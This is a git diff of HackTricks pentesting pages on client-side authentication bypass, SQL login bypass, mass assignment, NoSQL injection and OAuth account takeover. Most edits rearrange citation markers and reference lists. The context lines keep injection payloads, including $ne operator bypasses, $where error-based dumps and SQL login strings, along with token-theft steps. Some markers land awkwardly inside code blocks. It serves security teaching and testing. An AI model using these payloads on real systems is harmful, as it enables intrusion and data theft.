-Some applications only protect routes/actions in the **frontend** (route guards, hidden buttons, `localStorage` / `sessionStorage`, feature flags, or JSON fields such as `role`, `groups`, `is_active`, `PluginId`, `TimeoutStatus`). If the **backend APIs don't re-check authentication and authorization**, you can often unlock the whole UI or perform the action directly.[[1]](#references)
+Some applications only protect routes/actions in the **frontend** (route guards, hidden buttons, `localStorage` / `sessionStorage`, feature flags, or JSON fields such as `role`, `groups`, `is_active`, `PluginId`, `TimeoutStatus`). If the **backend APIs don't re-check authentication and authorization**, you can often unlock the whole UI or perform the action directly.[[2]](#references)
Quick workflow:
@@ -114,13 +114,9 @@ Common patterns:
- [HTLogin](https://github.com/akinerkisa/HTLogin)
-
-
## References
-- [1] [Client-side Authentication Bypass](https://kuldeep.io/posts/client-side-authentication-bypass/)
-- [2] [Finding an Unseen SQL Injection by Bypassing Escape Functions in mysqljs/mysql](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)
+- [1] [Finding an unseen SQL injection by bypassing escape functions in mysqljs/mysql](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)
+- [2] [Client-side Authentication Bypass](https://kuldeep.io/posts/client-side-authentication-bypass/)
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/login-bypass/sql-login-bypass.md b/src/pentesting-web/login-bypass/sql-login-bypass.md
index 583a3b07e53..cda3fd391d1 100644
--- a/src/pentesting-web/login-bypass/sql-login-bypass.md
+++ b/src/pentesting-web/login-bypass/sql-login-bypass.md
@@ -814,8 +814,5 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%bf')||1-- 2
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/pentesting-web/mass-assignment-cwe-915.md b/src/pentesting-web/mass-assignment-cwe-915.md
index f197ec13255..36a1d9ae0f4 100644
--- a/src/pentesting-web/mass-assignment-cwe-915.md
+++ b/src/pentesting-web/mass-assignment-cwe-915.md
@@ -8,7 +8,7 @@ This is a Broken Access Control issue (OWASP A01:2021). In API-centric applicati
## 1) Finding Mass Assignment
-Look for self-service endpoints that create or update objects:
+Look for self-service endpoints that create or update objects:[[2]](#references)
- `PUT/PATCH /api/users/{id}`
- `PATCH /me`, `PUT /profile`
- `PUT /api/orders/{id}`
@@ -69,7 +69,7 @@ curl -s https://target.example/api/users/12934 -H "Authorization: Bearer $TOKEN"
## 2) Exploitation – Role Escalation via Mass Assignment
-Once you know the bindable shape, include the privileged property in the same request.
+Once you know the bindable shape, include the privileged property in the same request.[[1]](#references)[[3]](#references)
Example: set `roles` to `ADMIN` on your own user resource:[[1]](#references)
```http
diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md
index 8d242cb1ddc..e1cfe0573a5 100644
--- a/src/pentesting-web/nosql-injection.md
+++ b/src/pentesting-web/nosql-injection.md
@@ -6,7 +6,7 @@
In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter[arrName]=foo._
-The exploits are based in adding an **Operator**:
+The exploits are based in adding an **Operator**:[[1]](#references)[[2]](#references)
```bash
username[$ne]=1$password[$ne]=1 #
@@ -21,7 +21,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #[[3]](#references)[[4]](#references)
```bash
#in URL
@@ -128,13 +128,13 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference
### Error-Based Injection
-Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors).[[5]](#references) Example:
+Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:[[5]](#references)
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
-If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:
+If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:[[5]](#references)
```json
{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
@@ -214,7 +214,7 @@ Mitigations: recursively strip keys that start with `$`, map allowed operators e
## MongoDB Payloads
-List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)[[11]](#references)
```
true, $where: '1 == 1'
@@ -337,14 +337,16 @@ for u in get_usernames(""):
## References
-- [1] [NoSQL, No Injection? - Ron, Shulman-Peleg, Bronshtein](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
-- [2] [PayloadsAllTheThings - NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
-- [3] [A NoSQL Injection Primer (With MongoDB)](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
-- [4] [Hacking NodeJS and MongoDB](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
-- [5] [NoSQL error-based injection](https://sensepost.com/blog/2025/nosql-error-based-injection/)
-- [6] [CVE-2023-28359 - Rocket.Chat blind NoSQL injection (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
-- [7] [Technical Discovery of Mongoose CVE-2025-23061 and CVE-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
-- [8] [Getting rid of pre- and post-conditions in NoSQL injections](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
-- [9] [Mongoose API Documentation (6.x)](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html)
-- [10] [From 0 to RCE: Cockpit CMS](https://swarm.ptsecurity.com/rce-cockpit-cms/)
+- [1] [NoSQL, No Injection? – Ron Shulman-Peleg & Bronshtein](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
+- [2] [PayloadsAllTheThings – NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
+- [3] [A NoSQL Injection Primer with Mongo – nullsweep](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
+- [4] [Hacking Node.js and MongoDB – Websecurify Blog](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
+- [5] [NoSQL Error-Based Injection – SensePost](https://sensepost.com/blog/2025/nosql-error-based-injection/)
+- [6] [CVE-2023-28359 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
+- [7] [Technical Discovery: Mongoose CVE-2025-23061 & CVE-2024-53900 – OPSWAT](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
+- [8] [Getting Rid of Pre and Post Conditions in NoSQL Injections – SensePost](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
+- [9] [Mongoose v6.x API Docs](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html)
+- [10] [RCE in Cockpit CMS via NoSQL Injection – PT SWARM](https://swarm.ptsecurity.com/rce-cockpit-cms/)
+- [11] [cr0hn/nosqlinjection_wordlists – MongoDB NoSQLi Payloads](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md
index ffed6c5c74a..86682e15e7a 100644
--- a/src/pentesting-web/oauth-to-account-takeover.md
+++ b/src/pentesting-web/oauth-to-account-takeover.md
@@ -62,7 +62,7 @@ Host: socialmedia.com
### Open redirect_uri
-Per [RFC 6749 §3.1.2](https://www.rfc-editor.org/rfc/rfc6749#section-3.1.2), the authorization server must redirect the browser only to **pre-registered, exact redirect URIs**. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s `code` (and `state`) straight to an attacker endpoint, who can then redeem it and harvest tokens.[[4]](#references)[[5]](#references)
+Per [RFC 6749 §3.1.2](https://www.rfc-editor.org/rfc/rfc6749#section-3.1.2), the authorization server must redirect the browser only to **pre-registered, exact redirect URIs**. Any weakness here lets an attacker send a victim through a malicious authorization URL so that the IdP delivers the victim’s `code` (and `state`) straight to an attacker endpoint, who can then redeem it and harvest tokens.[[5]](#references)
Typical attack workflow:
@@ -84,7 +84,7 @@ Also review auxiliary redirect-style parameters (`client_uri`, `policy_uri`, `to
### Redirect token leakage on allowlisted domains with attacker-controlled subpaths
-Locking `redirect_uri` to “owned/first-party domains” doesn’t help if any allowlisted domain exposes **attacker-controlled paths or execution contexts** (legacy app platforms, user namespaces, CMS uploads, etc.).[[1]](#references) If the OAuth/federated login flow **returns tokens in the URL** (query or hash), an attacker can:
+Locking `redirect_uri` to “owned/first-party domains” doesn’t help if any allowlisted domain exposes **attacker-controlled paths or execution contexts** (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow **returns tokens in the URL** (query or hash), an attacker can:[[1]](#references)
1. Start a legitimate flow to mint a pre-token (e.g., an `etoken` in a multi-step Accounts Center/FXAuth flow).
2. Send the victim an authorization URL that sets the allowlisted domain as `redirect_uri`/`base_uri` but points `next`/path into an attacker-controlled namespace (e.g., `https://apps.facebook.com/`).
@@ -110,10 +110,10 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard[[8]](#references)[[9]](#references)
+Some OAuth integrations use a **first-party callback page** to render login failures after the IdP redirects the browser back. These pages are high value because they already run on a **trusted origin** and often consume attacker-controlled parameters such as `error`, `error_description`, `message`, `description`, or `state`.[[8]](#references)
- **Reflecting `error_description` into HTML** without strict output encoding turns the callback into a **trusted-origin phishing page**. Even when `